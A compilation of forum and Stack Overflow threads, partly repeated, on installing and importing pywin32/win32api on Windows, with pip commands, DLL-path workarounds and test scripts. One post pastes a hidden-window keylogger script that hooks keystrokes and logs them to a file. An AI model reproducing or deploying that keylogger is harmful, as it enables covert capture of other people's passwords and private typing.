Start a command line with admin rights.
python -m pip install pywin32C:\Program Files\Stackless36\Scripts>python pywin32_postinstall.py -installThe pathC:\Program Files\Stackless36\should be replaced with the path at which your Python version is installed.Test (admin rights optional) using
python -c "import win32com"orpython speak.pywhere
speak.pyconsists of this text:import win32com.client speaker = win32com.client.Dispatch("SAPI.SpVoice") speaker.Speak("It works. Hoorah!")
Working fine on Python 3.6.4 Stackless 3.1b3 060516 (v3.6.4-slp:9557b2e530, Dec 21 2017, 15:23:10) [MSC v.1900 64 bit (AMD64)] on win32. Vanilla CPython hangs out here:
C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import win32com.client
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'win32com'
>>> exit()
C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe -m pip install pywin32
Collecting pywin32
Cache entry deserialization failed, entry ignored
Downloading https://files.pythonhosted.org/packages/d4/2d/b927e61c4a2b0aaaab72c8cb97cf748c319c399d804293164b0c43380d5f/pywin32-223-cp36-cp36m-win32.whl (8.3MB)
100% |ββββββββββββββββββββββββββββββββ| 8.3MB 50kB/s
Installing collected packages: pywin32
Successfully installed pywin32-223
You are using pip version 9.0.3, however version 10.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.
Answer from Cees Timmerman on Stack Exchange
Β» pip install pywin32
Start a command line with admin rights.
python -m pip install pywin32C:\Program Files\Stackless36\Scripts>python pywin32_postinstall.py -installThe pathC:\Program Files\Stackless36\should be replaced with the path at which your Python version is installed.Test (admin rights optional) using
python -c "import win32com"orpython speak.pywhere
speak.pyconsists of this text:import win32com.client speaker = win32com.client.Dispatch("SAPI.SpVoice") speaker.Speak("It works. Hoorah!")
Working fine on Python 3.6.4 Stackless 3.1b3 060516 (v3.6.4-slp:9557b2e530, Dec 21 2017, 15:23:10) [MSC v.1900 64 bit (AMD64)] on win32. Vanilla CPython hangs out here:
C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe
Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import win32com.client
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
ModuleNotFoundError: No module named 'win32com'
>>> exit()
C:\Users\C\AppData\Local\Programs\Python\Python36-32>python.exe -m pip install pywin32
Collecting pywin32
Cache entry deserialization failed, entry ignored
Downloading https://files.pythonhosted.org/packages/d4/2d/b927e61c4a2b0aaaab72c8cb97cf748c319c399d804293164b0c43380d5f/pywin32-223-cp36-cp36m-win32.whl (8.3MB)
100% |ββββββββββββββββββββββββββββββββ| 8.3MB 50kB/s
Installing collected packages: pywin32
Successfully installed pywin32-223
You are using pip version 9.0.3, however version 10.0.1 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command.
Check sys.path to make sure the directory where the module is installed is in there, otherwise you have to add it (google PYTHONPATH windows for some help with that.)
What is the VirtualBox Python win32api error?
Will VirtualBox work if I don't install Python?
Why is a Python implementation necessary for VirtualBox?
The answer may seem straightforward, but I've been banging my head against a wall for hours at this point.
What I've tried so far pip install pypiwin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32 Collecting pypiwin32 Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3- none-any.whl Collecting pywin32>=223 (from pypiwin32) Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: ) No matching distribution found for pywin32>=223 (from pypiwin32)
pip install pywin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32 Collecting pywin32 Could not find a version that satisfies the requirement pywin32 (from versions: ) No matching distribution found for pywin32
Several specific versions like pip install pywin32==226:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pywin32==226 Collecting pywin32==226 Could not find a version that satisfies the requirement pywin32==226 (from versions: ) No matching distribution found for pywin32==226
and pip install pypiwin32==220:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install pypiwin32==220 Collecting pypiwin32==220 Could not find a version that satisfies the requirement pypiwin32==220 (from versions: 219, 223) No matching distribution found for pypiwin32==220
Even some shot-in-the-dark kind of attempts like pip install win32api:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>pip install win32api Collecting win32api Could not find a version that satisfies the requirement win32api (from versions: ) No matching distribution found for win32api
and python -m pip install pypiwin32:
(venv) C:\Users\Beheerder\PycharmProjects\Personal-Automation-Programs>python -m pip install pypiwin32 Collecting pypiwin32 Using cached https://files.pythonhosted.org/packages/d0/1b/2f292bbd742e369a100c91faa0483172cd91a1a422a6692055ac920946c5/pypiwin32-223-py3- none-any.whl Collecting pywin32>=223 (from pypiwin32) Could not find a version that satisfies the requirement pywin32>=223 (from pypiwin32) (from versions: ) No matching distribution found for pywin32>=223 (from pypiwin32)
I even tried many combinations of these previous commands using previous versions of pip and python to no avail. Do any of you know a possible solution?
Try using easy_install:
pip install setuptools
easy_install pypiwin32
Shouldn't it be python -m pip install pywin32 not pypiwin32?
Compare the wheels on both pages:
https://pypi.org/project/pypiwin32/#files
https://pypi.org/project/pywin32/#files
edit: I believe pypiwin32 was added a long time ago, so there could be a pip-friendly setup or something, but later abandoned. Some guides out there mention the wrong one. Β―\(γ)/Β―
So when you try to install from "pypiwin32", the pypiwin32 only goes up to version 223, so tries to use pywin32 to get the wheel for version 223, and there is nothing for python > 3.7 until a few versions later. So pypiwin32 is destined to fail here. The pywin32 package should just get the most recent version (227) which works on python 3.8
Hey fellas I need help installing win32api on python. Im messing around following tutorials since im super new to coding and wanted to learn how to make a keylogger. The current code I have is--
# Python code for keylogger
# to be used in windows
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
# open output.txt to read current keystrokes
f = open('c:\output.txt', 'r+')
buffer = f.read()
f.close()
# open output.txt to write current + new keystrokes
f = open('c:\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
Shamelessly used from another site. But when I try to run it this error comes up.
line 3, in <module>
import win32api
ModuleNotFoundError: No module named 'win32api'
Information provided by @Gord
Since September 2019 pywin32 should be installed via PyPI which ensures that the latest version (currently version 304) is installed. This is done via the pip command
pip install pywin32
If you wish to get an older version the sourceforge link below would probably have the desired version, if not you can use the command, where xxx is the version you require, e.g. 300
pip install pywin32==xxx
This differs to the pip command in another comment and in an old edit of this answer in that pypiwin32 installs an outdated version (namely 223)
Browsing the docs I see no reason for these commands to not work for all python3.x versions, I am unsure on python2.7 and below so you would have to try them and if they do not work then the solutions below will work.
Probably now undesirable solutions but certainly still valid as of September 2019
There is no version of specific version ofwin32api. You have to get the pywin32module which currently cannot be installed via pip. It is only available from this link at the moment.
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20220/
The install does not take long and it pretty much all done for you. Just make sure to get the right version of it depending on your python version :)
Also it can be installed from this GitHub repository as provided in comments by @Heath
Take a look at this answer: ImportError: no module named win32api
You can use
pip install pypiwin32
There is a a new option as well: get it via pip! There is a package pypiwin32 with wheels available, so you can just install with: pip install pypiwin32!
Edit: Per comment from @movermeyer, the main project now publishes wheels at pywin32, and so can be installed with pip install pywin32
'pywin32' is its canonical name.
http://sourceforge.net/projects/pywin32/
Β» pip install win32core
This is resolve my case as found on Where to find the win32api module for Python?
pip install pypiwin32
According to pywin32 github you must run
pip install pywin32
and after that, you must run
python Scripts/pywin32_postinstall.py -install
I know I'm reviving an old thread, but I just had this problem and this was the only way to solve it.
To start off, I am very new to Python and have never installed modules before because up until now I've just been using the standard libraries (math, time, etc.).
So I'm looking into controlling the mouse cursor with Python (for a bot in a game) and come across this thread on Stackoverflow. The top answer there tells me to get a module called pywin32 from here. So I download the latest version (build 218, according to the readme file) and I download the appropriate EXE. Here is my Python info: Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (Intel)] on win32, so I download this version: pywin32-218.win32-py3.4.exe. After running it, and it telling me that it has installed successfully I try to test it out by using one of the example in that previous Stackoverflow thread (Which I think just makes your cursor move in a circle...?):
import win32api
import time
import math
for i in range(500):
x = int(500+math.sin(math.pi*i/100)*500)
y = int(500+math.cos(i)*100)
win32api.SetCursorPos((x,y))
time.sleep(.01)However, when running this, I get this error:
Traceback (most recent call last):
File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 1, in <module>
import win32api
File "C:\Users\Matthew\Documents\Programming\Python\mouse_control\win32api.py", line 8, in <module>
win32api.SetCursorPos((x,y))
AttributeError: 'module' object has no attribute 'SetCursorPos'
So with this, I assume it wasn't installed correctly (even though if I just run import win32api I get no error).
I've also tried to check if it is importing correctly using this:
import win32api print(dir(win32api)) help(win32api)
Which outputs to this:
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'win32api']
Help on module win32api:
NAME
win32api
FILE
c:\users\matthew\documents\programming\python\mouse_control\win32api.pySo I found this thread on Stackoverflow, and in the second answer it says I can install through console, so I try this (in command prompt):
C:\Python34\Scripts>pip install pypiwin32 Requirement already satisfied (use --upgrade to upgrade): pypiwin32 in c:\python 34\lib\site-packages C:\Python34\Scripts>pip install pypiwin32 --upgrade Requirement already up-to-date: pypiwin32 in c:\python34\lib\site-packages
But as you can see it says that everyone is installed correctly.
So my question is, how do I get the win32api module to actually work, and import into my program successfully?
Thanks so much for any answers, sorry for the long(ish) post, just wanted to get all the information in there because I've been at this for about two hours, and no amount of searching on Reddit, Google, or Stackoverflow could help me, apparently. If you need more info I'd be happy to provide it!
EDIT: I'm running 64bit Windows 8.1, if it matters.
EDIT 2: Thanks to u/mm_ma_ma I found the solution, which was very simple and a blunder on my part. The file name was the same as win32api, changing it fixed the solution. Thanks so much, guys!
I can't reproduce this now, but I'll take a shot, as I had a similar problem some time ago and was able to resolve it by this solution: import win32api error in Python 2.6
I Basically copied pythoncom27.dll and pywintypes27.dll from Python27/Lib/site-packages/pywin32_system32 to Python27/Lib/site-packages/win32 ... Or something to that effect.
Sorry for the vagueness - but it helped me (found the link in my bookmarks).
Hope it helps!
try reinstalling, the error seems to say that your modules aren't being found so there are probably a few files that didnt download properly. since they can't find the modules, its probably the libs folder that has all the modules that come with pywin32
Spoiler alert!!!
Applied #2.2. (from below) to the original .whls, and published them on [GitHub]: CristiFati/Prebuilt-Binaries - (master) Prebuilt-Binaries/PyWin32/v225 (win_amd64, win32 for Python 3.8).
After installing (one of) them, existing code should work OOTB (with respect to this issue).
Install steps:
Download the .whl that matches your Python architecture (064bit, 032bit - for more details on getting Python architecture, check [SO]: How do I determine if my python shell is executing in 32bit or 64bit? (@CristiFati's answer) (the question is about OSX, but other platforms are covered as well)), it will most likely be 64bit (win_amd64), from the above URL.
For example, I downloaded it in L:\DownloadsInvoke the PIP installer on it ([SO]: How to install a package for a specific Python version on Windows 10? (@CristiFati's answer)). Something like:
(${path_to_your})python.exe -m pip ${path_to_the_downloaded_pywin32_whl}Example:
"e:\Work\Dev\VEnvs\py_pc064_03.08.00_test0\Scripts\python.exe" -m pip "L:\Downloads\pywin32-225-cp38-cp38-win_amd64.whl"
The problem has been reported on [GitHub]: mhammond/pywin32 - python 3.8.
The above URL references 2 more:
[Python 3.8.Docs]: Whatβs New In Python 3.8 - Changes in the Python API which states (emphasis is mine):
- DLL dependencies for extension modules and DLLs loaded with ctypes on Windows are now resolved more securely. Only the system paths, the directory containing the DLL or PYD file, and directories added with add_dll_directory() are searched for load-time dependencies. Specifically, PATH and the current working directory are no longer used, and modifications to these will no longer have any effect on normal DLL resolution.
[Python 3.Docs]: os.add_dll_directory(path) which states (emphasis still mine):
This search path is used when resolving dependencies for imported extension modules (the module itself is resolved through
sys.path), and also by ctypes.
In the same time, I did some digging of my own and discovered that (for win32api.pyd) it's pywintypes38.dll (which is a dependency for the .pyds) that is not found (I also specified this in a comment on the issue).
Solutions (actually workarounds (more or less) until an official and backwards compatible fix is released):
Force pywintypes38.dll load by importing it (as it's also a Python module and in this scenario it doesn't fall under the above rule) before any PyWin32 module:
import pywintypes import win32apiIf working with COM, you'd need
import pythoncomAdding pywin32_system32 to the .dll search paths (following the new model from above). There are multiple ways:
v-python's comment from the issue URL which provides a small snippet (I didn't test it)
I also submitted [GitHub]: mhammond/pywin32 - Support for Python 3.8, where I do everything in the pywin32.pth file ("executed" when the interpreter starts, so no changes needed for existing code). Unfortunately, there is a problem with the AppVeyor automated tests which fail (but for some other reasons), so it has been stuck there for a while. Note that in the meantime, the PR was closed and another (similar) approach was pushed. Note that v226 (released on 20191110) which contains the fix, does not work on VirtualEnv ([SO]: PyWin32 (226) and virtual environments (@CristiFati's answer)).
Anyway, applying the changes locally (1) (on both my Python VirtualEnvs), solved the problem (on one, and didn't break the other):[cfati@CFATI-5510-0:e:\Work\Dev\StackOverflow\q058631512]> sopr.bat ### Set shorter prompt to better fit when pasted in StackOverflow (or other) pages ### [prompt]> "e:\Work\Dev\VEnvs\py_064_03.07.03_test0\Scripts\python.exe" -c "import win32api" [prompt]> "e:\Work\Dev\VEnvs\py_064_03.08.00_test0\Scripts\python.exe" -c "import win32api" [prompt]>Other ways like copying the .dlls (e.g. in %SystemRoot%\System32), or SymLinking them, but (personally) I wouldn't recommend those
Check:
[SO]: Can't import dll module in Python (@CristiFati's answer) for more details on .dll loading (via CTypes)
[SO]: Is the function os. add_dll_directory() adding directories permanently? (@CristiFati's answer)
[SO]: Discover missing module using command-line ("DLL load failed" error) (@CristiFati's answer)
Update #0
[PyPI]: pywin32 227 (which addresses this issue), was published on 20191114!
Footnotes
- #1.: Check [SO]: Run / Debug a Django application's UnitTests from the mouse right click context menu in PyCharm Community Edition? (@CristiFati's answer) (Patching UTRunner section) for how to apply patches (on Win).
Managed to install pywin32 v225 with pycharm on python 3.8.
importing pywintypes before win32api
import pywintypes
import win32api